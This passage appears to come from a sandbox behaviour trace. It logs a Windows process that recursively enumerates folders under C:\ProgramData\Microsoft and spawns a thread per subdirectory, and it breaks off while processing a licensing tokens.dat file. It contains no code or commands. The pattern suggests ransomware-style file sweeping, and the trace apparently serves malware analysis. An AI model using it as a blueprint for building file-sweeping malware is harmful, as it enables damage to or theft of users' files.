nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.608] wcscmp (_String1="..", _String2=".") returned 1 [0141.608] wcscmp (_String1="..", _String2="..") returned 0 [0141.608] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x910078 | out: lpFindFileData=0x910078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 1 [0141.609] wcscmp (_String1="8.0", _String2=".") returned 1 [0141.609] wcscmp (_String1="8.0", _String2="..") returned 1 [0141.609] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x44) returned 0x8f9788 [0141.609] wcscpy (in: _Dest=0x8f9788, _Source="C:\\ProgramData\\Microsoft\\MSDN" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN") returned="C:\\ProgramData\\Microsoft\\MSDN" [0141.609] wcscat (in: _Dest=0x8f9788, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\") returned="C:\\ProgramData\\Microsoft\\MSDN\\" [0141.609] wcscat (in: _Dest=0x8f9788, _Source="8.0" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\8.0") returned="C:\\ProgramData\\Microsoft\\MSDN\\8.0" [0142.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f9788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec [0142.139] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x910078 | out: lpFindFileData=0x910078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 0 [0142.139] FindClose (in: hFindFile=0x8d9ad0 | out: hFindFile=0x8d9ad0) returned 1 [0142.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x910078) returned 1 [0142.140] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2aa0) returned 1 [0142.140] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2740) returned 1 Thread: id = 1696 os_tid = 0x81c [0139.861] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e4840 [0139.861] wcscpy (in: _Dest=0x8e4840, _Source="C:\\ProgramData\\Microsoft\\NetFramework" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework" [0139.861] wcscat (in: _Dest=0x8e4840, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\") returned="C:\\ProgramData\\Microsoft\\NetFramework\\" [0139.861] wcscat (in: _Dest=0x8e4840, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\*") returned="C:\\ProgramData\\Microsoft\\NetFramework\\*" [0139.861] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9102e0 [0139.861] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x9102e0 | out: lpFindFileData=0x9102e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9c90 [0141.608] wcscmp (_String1=".", _String2=".") returned 0 [0141.608] FindNextFileW (in: hFindFile=0x8d9c90, lpFindFileData=0x9102e0 | out: lpFindFileData=0x9102e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.608] wcscmp (_String1="..", _String2=".") returned 1 [0141.608] wcscmp (_String1="..", _String2="..") returned 0 [0141.608] FindNextFileW (in: hFindFile=0x8d9c90, lpFindFileData=0x9102e0 | out: lpFindFileData=0x9102e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0141.608] wcscmp (_String1="BreadcrumbStore", _String2=".") returned 1 [0141.608] wcscmp (_String1="BreadcrumbStore", _String2="..") returned 1 [0141.608] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8f80 [0141.608] wcscpy (in: _Dest=0x8e8f80, _Source="C:\\ProgramData\\Microsoft\\NetFramework" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework" [0141.608] wcscat (in: _Dest=0x8e8f80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\") returned="C:\\ProgramData\\Microsoft\\NetFramework\\" [0141.608] wcscat (in: _Dest=0x8e8f80, _Source="BreadcrumbStore" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore" [0142.136] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e8f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8 [0142.137] FindNextFileW (in: hFindFile=0x8d9c90, lpFindFileData=0x9102e0 | out: lpFindFileData=0x9102e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0 [0142.137] FindClose (in: hFindFile=0x8d9c90 | out: hFindFile=0x8d9c90) returned 1 [0142.138] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9102e0) returned 1 [0142.138] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4840) returned 1 [0142.138] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4210) returned 1 Thread: id = 1697 os_tid = 0x820 [0139.862] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x46) returned 0x8f9508 [0139.862] wcscpy (in: _Dest=0x8f9508, _Source="C:\\ProgramData\\Microsoft\\Network" | out: _Dest="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network" [0139.862] wcscat (in: _Dest=0x8f9508, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\") returned="C:\\ProgramData\\Microsoft\\Network\\" [0139.862] wcscat (in: _Dest=0x8f9508, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\*") returned="C:\\ProgramData\\Microsoft\\Network\\*" [0139.862] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x910548 [0139.862] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x910548 | out: lpFindFileData=0x910548*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942070 [0141.613] wcscmp (_String1=".", _String2=".") returned 0 [0141.613] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x910548 | out: lpFindFileData=0x910548*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.613] wcscmp (_String1="..", _String2=".") returned 1 [0141.613] wcscmp (_String1="..", _String2="..") returned 0 [0141.613] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x910548 | out: lpFindFileData=0x910548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0141.613] wcscmp (_String1="Connections", _String2=".") returned 1 [0141.613] wcscmp (_String1="Connections", _String2="..") returned 1 [0141.613] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a) returned 0x90f090 [0141.613] wcscpy (in: _Dest=0x90f090, _Source="C:\\ProgramData\\Microsoft\\Network" | out: _Dest="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network" [0141.613] wcscat (in: _Dest=0x90f090, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\") returned="C:\\ProgramData\\Microsoft\\Network\\" [0141.613] wcscat (in: _Dest=0x90f090, _Source="Connections" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Microsoft\\Network\\Connections" [0142.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90f090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0142.145] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x910548 | out: lpFindFileData=0x910548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0142.145] wcscmp (_String1="Downloader", _String2=".") returned 1 [0142.145] wcscmp (_String1="Downloader", _String2="..") returned 1 [0142.145] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x58) returned 0x8fee28 [0142.145] wcscpy (in: _Dest=0x8fee28, _Source="C:\\ProgramData\\Microsoft\\Network" | out: _Dest="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network" [0142.145] wcscat (in: _Dest=0x8fee28, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\") returned="C:\\ProgramData\\Microsoft\\Network\\" [0142.145] wcscat (in: _Dest=0x8fee28, _Source="Downloader" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader" [0142.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8fee28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc [0142.146] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x910548 | out: lpFindFileData=0x910548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0 [0142.146] FindClose (in: hFindFile=0x942070 | out: hFindFile=0x942070) returned 1 [0142.147] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x910548) returned 1 [0142.147] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9508) returned 1 [0142.147] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9288) returned 1 Thread: id = 1698 os_tid = 0x824 [0139.862] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x44) returned 0x8f9558 [0139.862] wcscpy (in: _Dest=0x8f9558, _Source="C:\\ProgramData\\Microsoft\\OFFICE" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE") returned="C:\\ProgramData\\Microsoft\\OFFICE" [0139.862] wcscat (in: _Dest=0x8f9558, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\" [0139.862] wcscat (in: _Dest=0x8f9558, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\*") returned="C:\\ProgramData\\Microsoft\\OFFICE\\*" [0139.862] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9107b0 [0139.862] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\*", lpFindFileData=0x9107b0 | out: lpFindFileData=0x9107b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9423f0 [0142.381] wcscmp (_String1=".", _String2=".") returned 0 [0142.381] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x9107b0 | out: lpFindFileData=0x9107b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.381] wcscmp (_String1="..", _String2=".") returned 1 [0142.381] wcscmp (_String1="..", _String2="..") returned 0 [0142.381] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x9107b0 | out: lpFindFileData=0x9107b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5011dd00, ftCreationTime.dwHighDateTime=0x1ca04ff, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5011dd00, ftLastWriteTime.dwHighDateTime=0x1ca04ff, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="ASSETL~1.ICO")) returned 1 [0142.381] wcscmp (_String1="AssetLibrary.ico", _String2=".") returned 1 [0142.381] wcscmp (_String1="AssetLibrary.ico", _String2="..") returned 1 [0142.381] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x9107b0 | out: lpFindFileData=0x9107b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabeeea00, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabeeea00, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentRepository.ico", cAlternateFileName="DOCUME~1.ICO")) returned 1 [0142.381] wcscmp (_String1="DocumentRepository.ico", _String2=".") returned 1 [0142.382] wcscmp (_String1="DocumentRepository.ico", _String2="..") returned 1 [0142.382] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x9107b0 | out: lpFindFileData=0x9107b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfbd800, ftCreationTime.dwHighDateTime=0x1c9facb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bfbd800, ftLastWriteTime.dwHighDateTime=0x1c9facb, nFileSizeHigh=0x0, nFileSizeLow=0x5532e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0142.382] wcscmp (_String1="MySharePoints.ico", _String2=".") returned 1 [0142.382] wcscmp (_String1="MySharePoints.ico", _String2="..") returned 1 [0142.382] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x9107b0 | out: lpFindFileData=0x9107b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc92d1d00, ftCreationTime.dwHighDateTime=0x1c627a2, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc92d1d00, ftLastWriteTime.dwHighDateTime=0x1c627a2, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySite.ico", cAlternateFileName="")) returned 1 [0142.382] wcscmp (_String1="MySite.ico", _String2=".") returned 1 [0142.382] wcscmp (_String1="MySite.ico", _String2="..") returned 1 [0142.382] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x9107b0 | out: lpFindFileData=0x9107b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2444900, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2444900, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointPortalSite.ico", cAlternateFileName="SHAREP~1.ICO")) returned 1 [0142.382] wcscmp (_String1="SharePointPortalSite.ico", _String2=".") returned 1 [0142.382] wcscmp (_String1="SharePointPortalSite.ico", _String2="..") returned 1 [0142.382] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x9107b0 | out: lpFindFileData=0x9107b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad743900, ftCreationTime.dwHighDateTime=0x1c62706, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad743900, ftLastWriteTime.dwHighDateTime=0x1c62706, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 1 [0142.382] wcscmp (_String1="SharePointTeamSite.ico", _String2=".") returned 1 [0142.382] wcscmp (_String1="SharePointTeamSite.ico", _String2="..") returned 1 [0142.382] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x9107b0 | out: lpFindFileData=0x9107b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 1 [0142.382] wcscmp (_String1="UICaptions", _String2=".") returned 1 [0142.382] wcscmp (_String1="UICaptions", _String2="..") returned 1 [0142.382] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8fed08 [0142.382] wcscpy (in: _Dest=0x8fed08, _Source="C:\\ProgramData\\Microsoft\\OFFICE" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE") returned="C:\\ProgramData\\Microsoft\\OFFICE" [0142.382] wcscat (in: _Dest=0x8fed08, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\" [0142.382] wcscat (in: _Dest=0x8fed08, _Source="UICaptions" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions" [0144.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8fed08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0144.745] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x9107b0 | out: lpFindFileData=0x9107b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 0 [0144.745] FindClose (in: hFindFile=0x9423f0 | out: hFindFile=0x9423f0) returned 1 [0144.746] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9107b0) returned 1 [0144.746] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9558) returned 1 [0144.746] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2788) returned 1 Thread: id = 1699 os_tid = 0x828 [0139.863] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8cfd00 [0139.863] wcscpy (in: _Dest=0x8cfd00, _Source="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0139.863] wcscat (in: _Dest=0x8cfd00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0139.863] wcscat (in: _Dest=0x8cfd00, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*" [0139.863] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x910a18 [0139.863] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x910a18 | out: lpFindFileData=0x910a18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9c50 [0141.607] wcscmp (_String1=".", _String2=".") returned 0 [0141.607] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x910a18 | out: lpFindFileData=0x910a18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.607] wcscmp (_String1="..", _String2=".") returned 1 [0141.607] wcscmp (_String1="..", _String2="..") returned 0 [0141.607] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x910a18 | out: lpFindFileData=0x910a18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0141.607] wcscmp (_String1="Cache", _String2=".") returned 1 [0141.607] wcscmp (_String1="Cache", _String2="..") returned 1 [0141.607] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x8f7ac0 [0141.607] wcscpy (in: _Dest=0x8f7ac0, _Source="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0141.607] wcscat (in: _Dest=0x8f7ac0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0141.607] wcscat (in: _Dest=0x8f7ac0, _Source="Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" [0144.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f7ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf4 [0144.727] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x910a18 | out: lpFindFileData=0x910a18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1 [0144.727] wcscmp (_String1="tokens.dat", _String2=".") returned 1 [0144.727] wcscmp (_String1="tokens.dat", _String2="..") returned 